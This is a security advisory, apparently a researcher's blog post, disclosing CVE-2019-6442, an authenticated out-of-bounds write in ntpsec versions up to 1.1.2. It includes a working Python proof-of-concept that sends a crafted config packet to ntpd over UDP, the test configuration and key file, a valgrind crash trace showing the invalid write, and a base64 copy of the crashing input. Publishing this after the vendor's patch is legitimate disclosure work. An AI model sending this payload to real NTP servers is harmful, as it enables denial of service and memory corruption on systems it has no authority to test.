_ _
/ | ___| |_ ___ ___ ___ ___
_ / / | | _| . |_ -| -_| _|
|_|_/ |_|_|_| | _|___|___|___|
|_|
2019-01-15
Authenticated out-of-bounds write in ntpsec
===========================================
CVE-2019-6442
This is the fourth of four bugs. For more visit: https://dumpco.re/blog/ntpsec-bugs
An authenticated out-of-bounds write bug was found in ntpsec.
Affected versions: all versions of ntpsec including, and prior to 1.1.2.
Timeline:
2018-10-21 Bug discovered
2018-10-21 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6442
It was found possible to cause ntpd to write out of bounds (OOB) using an authenticated but malformed `config` request.
Proof of concept exploit:
(Note that this PoC uses keyid 1, with password 'gurka'.)
#!/usr/bin/env python
import sys
import socket
buf = ("\x16\x08\x00\x03\x00\x00\x00\x00\x00\x00\x01\xd4\x6c\x65\x61\x6d" +
"\x3d\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x34\x41\x41\x42" +
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41" +
"\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41" +
"\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x31\x32\x33\x34\x35\x3e\x37\x38\x39\x30\x31" +
"\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37" +
"\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x20\x2d\x36\x33" +
"\x34\x35\x36\x37\x38\x39\x30\x31\x32\x38\x3d\x20\x2d\x36\x4a\x0a" +
"\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x0a\x34\x35\x36" +
"\x37\x38\x39\x0a\x0a\x0a\x26\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x42\x42\x42\x54\x42\x42\x41\x41\x41\x34\x41\x41\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41" +
"\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a" +
"\x41\x41\x41\x41\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x25\x42" +
"\x42\x41\x41\x41\x0a\xae\x4a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x08" +
"\x0a\x2b\x0a\x0a\x0a\x34\x35\x36\x37\x38\x39\x0a\x0a\x0a\x26\x0a" +
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a\x42\x42\x42\x54\x42\x42\x41\x41" +
"\x41\x34\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41" +
"\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x41\x41\x41\x41\x57\x41\x42\x42" +
"\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x0a\x42\x42\x42" +
"\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x41\x41\x41\x43" +
"\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a" +
"\x0a\x0a\x05\xff\xff\x05\x0a\x64\x1b\x0a\x0a\x0a\x2b\x0a\x0a\x0a" +
"\x0a\x0a\x41\x41\x41\x41\x41\x41\x41\x41\x41\x33\x34\x00\x00\x00" +
"\x80\x39\x30\x20\x32\x33\x34\x35\x36\x37\x38\x39\x30\x41\x5b\x41" +
"\x00\x00\x00\x01\x8f\x2c\x6e\x5b\x49\xe7\xa0\x78\xa1\x9b\x50\xf5" +
"\xb2\x18\x04\x00")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Configuration:
$ cat ~/resources/ntp.conf
logfile /tmp/ntp.log
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
$ cat ~/resources/keys
1 M gurka
2 M agurk
Crash report:
$ sudo valgrind ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
==5650== Memcheck, a memory error detector
==5650== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==5650== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==5650== Command: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
==5650==
2018-10-21T21:37:52 ntpd[5650]: INIT: ntpd ntpsec-1.1.2 2018-10-21T19:18:03Z: Starting
2018-10-21T21:37:52 ntpd[5650]: INIT: Command line: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
2018-10-21T21:37:52 ntpd[5650]: INIT: precision = 2.622 usec (-18)
2018-10-21T21:37:52 ntpd[5650]: INIT: successfully locked into RAM
2018-10-21T21:37:52 ntpd[5650]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
2018-10-21T21:37:52 ntpd[5650]: CONFIG: requestkey is a no-op because ntpdc has been removed.
2018-10-21T21:37:52 ntpd[5650]: LOG: switching logging to file /tmp/ntp.log
2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: reading /home/magnus/resources/keys
2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: added 2 keys
2018-10-21T21:37:52 ntpd[5650]: INIT: Using SO_TIMESTAMPNS
2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 0 v6wildcard [::]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 2 lo 127.0.0.1:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 3 eth0 192.168.245.220:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 4 eth0 192.168.245.131:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 5 lo [::1]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-21T21:37:52 ntpd[5650]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
2018-10-21T21:38:01 ntpd[5650]: MODE6: 127.0.0.1 config: leam=AAAAAAAAAABBBBBBBBBBAAAAAAA4AABBBBBBBBBBAAAAAAAAAABBBBBBBBBBAAABAAAAAAAAAABBBBBBBBBB12345>789012345678901234567890123456789 -634567890128= -6J
...
< cut for brievity >
...
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 73, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 97 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 102 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 109 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 109, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 113 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 124 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 124, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 127 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 131 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 131, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 136 column 0 syntax error, unexpected T_String, expecting $end
==5650== Invalid write of size 1
==5650== at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
==5650== by 0x5FC6E21: snprintf (snprintf.c:33)
==5650== by 0x123294: yyerror (ntp_parser.y:1418)
==5650== by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
==5650== by 0x113FB2: config_remotely (ntp_config.c:2985)
==5650== by 0x127F97: configure (ntp_control.c:3050)
==5650== by 0x128F5D: process_control (ntp_control.c:898)
==5650== by 0x11DFC1: receive (ntp_proto.c:676)
==5650== by 0x122BD2: mainloop (ntpd.c:982)
==5650== by 0x122BD2: ntpdmain (ntpd.c:911)
==5650== by 0x122D66: main (ntpd.c:426)
==5650== Address 0x6f9822c0 is not stack'd, malloc'd or (recently) free'd
==5650==
==5650==
==5650== Process terminating with default action of signal 11 (SIGSEGV)
==5650== Access not within mapped region at address 0x6F9822C0
==5650== at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
==5650== by 0x5FC6E21: snprintf (snprintf.c:33)
==5650== by 0x123294: yyerror (ntp_parser.y:1418)
==5650== by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
==5650== by 0x113FB2: config_remotely (ntp_config.c:2985)
==5650== by 0x127F97: configure (ntp_control.c:3050)
==5650== by 0x128F5D: process_control (ntp_control.c:898)
==5650== by 0x11DFC1: receive (ntp_proto.c:676)
==5650== by 0x122BD2: mainloop (ntpd.c:982)
==5650== by 0x122BD2: ntpdmain (ntpd.c:911)
==5650== by 0x122D66: main (ntpd.c:426)
==5650== If you believe this happened as a result of a stack
==5650== overflow in your program's main thread (unlikely but
==5650== possible), you can try to increase the size of the
==5650== main thread stack using the --main-stacksize= flag.
==5650== The main thread stack size used in this run was 8388608.
==5650==
==5650== HEAP SUMMARY:
==5650== in use at exit: 44,643 bytes in 617 blocks
==5650== total heap usage: 751 allocs, 134 frees, 132,350 bytes allocated
==5650==
==5650== LEAK SUMMARY:
==5650== definitely lost: 294 bytes in 29 blocks
==5650== indirectly lost: 0 bytes in 0 blocks
==5650== possibly lost: 3,178 bytes in 5 blocks
==5650== still reachable: 41,171 bytes in 583 blocks
==5650== suppressed: 0 bytes in 0 blocks
==5650== Rerun with --leak-check=full to see details of leaked memory
==5650==
==5650== For counts of detected and suppressed errors, rerun with: -v
==5650== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Proof of discovery:
$ base64 bug4
FggAAwAAAAAAAAHUbGVhbT1BQUFBQUFBQUFBQkJCQkJCQkJCQkFBQUFBQUE0QUFCQkJCQkJCQkJC
QUFBQUFBQUFBQUJCQkJCQkJCQkJBQUFCQUFBQUFBQUFBQUJCQkJCQkJCQkIxMjM0NT43ODkwMTIz
NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkgLTYzNDU2Nzg5MDEyOD0gLTZKCgoKCgpkCgoKCisK
Cgo0NTY3ODkKCgomCgoKCgoKCgoKCgoKCgoKCgoKCQoKCgoKCkJCQlRCQkFBQTRBQUJCQkJCQkJC
QkJBQUEKKwoKCgpBCisKCgoKCgpkCgoKCisKCkFBQUFXQUJCQkJCQkJCJUJCQUFBCq5KCgoKCgpk
CgoICisKCgo0NTY3ODkKCgomCgoKCgoKCgoKCgoKCgoKCgoKCQoKCgoKCkJCQlRCQkFBQTRBQUJC
QkJCQkJCQkJBQUEKKwoKCgpBCisKCgoKCgpkCgoKCisKCkFBQUFXQUJCQkJCQkJCQkJBQUEKCkJC
QkFBQQorCgoKCgoKZEFBQUNXQUJCQkJCQkJCQkJBQUEKCgoF//8FCmQbCgoKKwoKCgoKQUFBQUFB
QUFBMzQAAACAOTAgMjM0NTY3ODkwQVtBAAAAAY8sbltJ56B4oZtQ9bIYBAA=
$ sha256sum bug4
edce9207903f229c17839dbfb16a3649c9d0eeb0625abb30466afb034c241cc7 bug4
https://twitter.com/magnusstubman/status/1054090180762554368
# References
- ftp://ftp.ntpsec.org/pub/releases/
- https://gitlab.com/NTPsec/ntpsec/issues/510
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6442